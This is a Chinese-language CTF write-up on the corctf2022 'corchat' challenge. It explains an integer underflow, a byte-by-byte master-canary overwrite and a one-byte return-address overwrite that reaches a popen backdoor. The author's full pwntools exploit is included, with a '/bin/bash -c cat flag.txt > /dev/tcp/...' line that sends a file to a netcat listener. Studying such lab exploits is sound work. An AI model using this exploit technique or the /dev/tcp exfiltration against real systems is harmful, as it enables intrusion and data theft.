corctf2022-corchat

来自corctf2022的一道corchat。当时是六月份,就顾着培训了,都没有来得及好好看看题目。听说这道题比较好就来学习一下。这道题难度不高,但是很有意思。和之前刚接触的一道覆盖$fs_base的题目是一样的想法。(后来才知道,原来这种方式叫做覆盖master canary,在多线程题目里面还挺常用的)

源码分析

出题方给了我们源代码非常nice。有高质量CTF比赛的水准。事实上题目也出的挺好的。

server.cpp

简单分析发现server创建了两个线程,一个用来监听新的连接(主线程),另一个用来处理之前已经连接过的线程发送的消息等内容。这个server的逻辑是

  • 接受至多四个socket的连接
  • 对于每一个socket发送的消息,将会广播到所有socket
  • 注意这个里面的Recv()Send()和现实中是反过来的,实际上分别是server端的发送和接受。这个只要仔细看一下代码也可以明白。

文件保护全开,并且没有给libc。意味着可能是栈方面的漏洞,并且不仅是简单的触发。

image-20230126212105559

对于client\server类型的题目,我接触的并不多,但是大部分都会提供源码,并且很有意思。之前有一个coroutine的hack,当时比赛也没有做出来,也是很有意思的题目,改天可以把它补上,在这里写一下。

vuln

我们重点关注下面几个函数。send()是发送给每个client的一个包装函数。这里会输出msg的内容,想到是否能够输出canary。

1
2
3
4
5
6
7
int Crusader::SendMsg(const char *msg, size_t msg_len, int8_t sender_id) // 这个是向某一个用户发送消息
{
if (sender_id == -1)
return send(this->m_sock_fd, msg, msg_len, 0);
std::cout << msg << std::endl; // 这边输出似乎可以写caanry,之后修改返回地址即可
return send(this->m_sock_fd, msg, msg_len, 0);
}

RecvMessage中,存在一个还算是比较明显的整数溢出的漏洞。经过调试发现第18行的大小检查完全是没用的(因为是无符号数)。第17行修改了len,而len是我们可控的,并且是无符号数。由于sizeof(msg_buf.flags)恒为2.因此如果我们一开始发送的长度为1,那么就可以溢出,写0xffff和字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
std::string Crusader::RecvMessage()
{
std::string msg = "";
cor_msg_buf msg_buf; // 大小为1024

memset(msg_buf.buffer, '\x00', sizeof(msg_buf.buffer));

if (read(this->m_sock_fd, &msg_buf.len, sizeof(msg_buf.len)) <= 0)
return msg;

if (msg_buf.len >= sizeof(msg_buf.buffer) || msg_buf.len == 0)
return msg;

if (read(this->m_sock_fd, &msg_buf.flags, sizeof(msg_buf.flags)) <= 0)
return msg;

msg_buf.len -= sizeof(msg_buf.flags); // 是否会导致整数溢出?会,这里是一个buffer overflow。可能可以修改下一个结构体的buffer
if (msg_buf.len <= 0) // unsigned int不会触发
return msg;

if (read(this->m_sock_fd, msg_buf.buffer, msg_buf.len) <= 0) //读入0xffff字节,属于本地栈
return msg;

msg_buf.buffer[msg_buf.len] = '\x00'; // 这会导致无法泄露?不一定,这是写在固定的地方,不会影响canary的输出。用buffer把这边的长度改成对应地址可写即可。但是这里是一个任意地址写0.因为msg_buf.len是我们可控的
msg += msg_buf.buffer;

return msg;
}

但是事情并不是那么简单。首先通过调试发现,尽管能写入0xffff个字符,我们并不能覆盖到libc,只能覆盖到libc里面不可写的地方。

image-20230126212544723

这意味着我们任意地址写不能管用。其次,还需要应对canary。事实上,早在2015年就有一位研究人员(他当时才16岁…惭愧)提出了多线程下(不是多线程其实也可以)覆盖master canary的方法。事实上,就是去写$fs_base对应的canary的内容。但是可能你会觉得,那写了master canary,异或的结果不是还是非0吗?这就是这道题的巧妙之处:我们不仅能写master canary,还能写本地栈的canary。这样每次修改一个byte,就能在八次情况下绕过canary的检查。

绕过canary

注意到上面的代码中,我们还有一个任意地址写0的操作。是因为当我们覆盖完下面结构体的buffer之后,还能接着覆盖后面的len。从而控制一个到和当前buffer距离0到0xffff的地方写入一个0。

1
2
3
4
5
6
7
8
typedef struct {
char buffer[1024];
uint16_t flags;
uint16_t len;
} cor_msg_buf;

// 任意地址写0
msg_buf.buffer[msg_buf.len] = '\x00';

诶,想到master canary(我太菜了,没想到)事实上master canary一般是在libc之上,比较接近libc的一块区域。我们在能对libc附近读写之后可以考虑写master canary。然后一看距离,发现确实是在可控范围之内的。和buffer的偏移是3448。

因此我们的思路可以是:

  • 通过整数溢出修改可写字节长度为0xffff
  • 在溢出同时,写len字段来给canary写0,同时溢出控制本地栈的canary末尾也是0
  • 重复八次(注意每次中间需要sleep,否则会出问题)

之后就能得到一个全为0的fs:0x28了。

getshell

在绕过canary之后,我们可以考虑泄露。实际上结合sendMsg发消息的逻辑,只要控制溢出连带输出libc上面的一些libc地址就能够完成获取libc偏移了。但是这道题给了我们一个后门函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void DoAdmin(const char *cmd, int8_t fd)
{
FILE *p;
char c;

p = popen(cmd, "r");
if (p == NULL)
{
std::cout << "Something went wrong spawning the process!" << std::endl;
return;
}

while (feof(p) == false)
{
fread(&c, sizeof(c), 1, p);
if (send(fd, &c, sizeof(c), 0) <= 0) break;
}

pclose(p);
}

这里的popen()实际上和system()类似,都会启动一个新的进程。但是我们无法直接调用它(因为也要输出code的偏移)。但是很巧妙的是,我们可以通过partial write来处理。注意在RecvCrusaderMessages中,有以下代码片段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
...
else if (strcmp(buffer, "GETSTATUS") == 0 && cur_crusader->is_admin == true)
{
DoAdmin("top -n 1", cur_crusader->m_sock_fd);
}
else if (strcmp(buffer, "_SEND_MSG") == 0)
{
msg = cur_crusader->RecvMessage();
if (msg == "")
continue;

if (ctx->m_connected_crusaders > 1)
ctx->BroadcastMsg(cur_crusader, msg.c_str(), msg.length(), true);
}
...

这使得我们覆盖上面第八行RecvMessage的返回地址之后,距离第四行doAdmin的距离很近(很巧妙,不过泄露libc也可以)并且不用爆破一位就可以完成。如下所示。注意到上面call doAdmin的末尾和当前ret的末尾相差只有一个byte。所以只需要覆盖一位即可。

image-20230126202227346

image-20230126202537719

多线程调试

因为这道题调试的时候需要跳到子线程,参考这篇文章编写以下脚本,就可以完成调试。

1
2
3
4
5
gdb_script = """
thread 2 (到第二个线程,使用info threads查看线程)
set scheduler-locking on (防止切换)
brva 0x6216
"""

下面是info threads的输出。可以看到还是能很明显的看出线程之间的对应关系的。主线程一直卡在accept的地方。如果不用多线程调试会发现一直卡在这里。

info threads

image-20230126192912929

exp

exp里面使用了反向shell来传递信息。因为bash好像没法打印==。反向shell创建方法nc -lvnp 50000先开启监听,之后换一个终端运行脚本就能在之前的shell上看到输出的消息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
from pwn import *
import socket
import time
filename="./corchat_server"
libc_name="/lib/x86_64-linux-gnu/libc.so.6"
# io = process(filename)
context.log_level='debug'
elf=ELF(filename)
libc=ELF(libc_name)
context.terminal=['tmux','split','-hp','60']



io = process(['./corchat_server','9999'])

s = socket.socket()
host = socket.gethostname()
port = 9999


time.sleep(1)


s.connect((host, port))
print(s.recv(1024))

bias_master_canary = 3448 # bias from start

gdb.attach(io,"brva 0x60B2") # b recvname


def overwrite_master_canary(i):
change_name = "_SEND_MSG"
s.send(change_name.encode())
s.send(b'\x01\x00')
s.send(b'\x00\x00')
s.send(b"a"*(1024)+p16(0)+p16(bias_master_canary+i)+b'\x00'*(5+i)) # overwrite master canary
print(i)
time.sleep(1)



for i in range(1,8):
overwrite_master_canary(i)



gdb_script = """
thread 2
set scheduler-locking on
brva 0x6216
"""


# gdb.attach(io,"brva 0x60b2")
# gdb.attach(io, gdb_script)
payload_catflag = b"/bin/bash -c 'cat ./flag.txt > /dev/tcp/0.0.0.0/50000'\x00"
change_name = "_SEND_MSG"
# input("1 >")
payload = change_name.encode() + b'\x01\x00' + b'\x00\x00' +payload_catflag+b'a'*(1024-len(payload_catflag))+p16(0)+p16(bias_master_canary+2)+b'\x00'*(5+7+16) + p64(0xdeadbeef)+b'\x11'
s.send(payload)



io.interactive()

本地测试结果

image-20230126215447782

文章目录
  1. 1. 源码分析
    1. 1.1. server.cpp
  2. 2. vuln
    1. 2.1. 绕过canary
    2. 2.2. getshell
    3. 2.3. 多线程调试
  3. 3. exp
|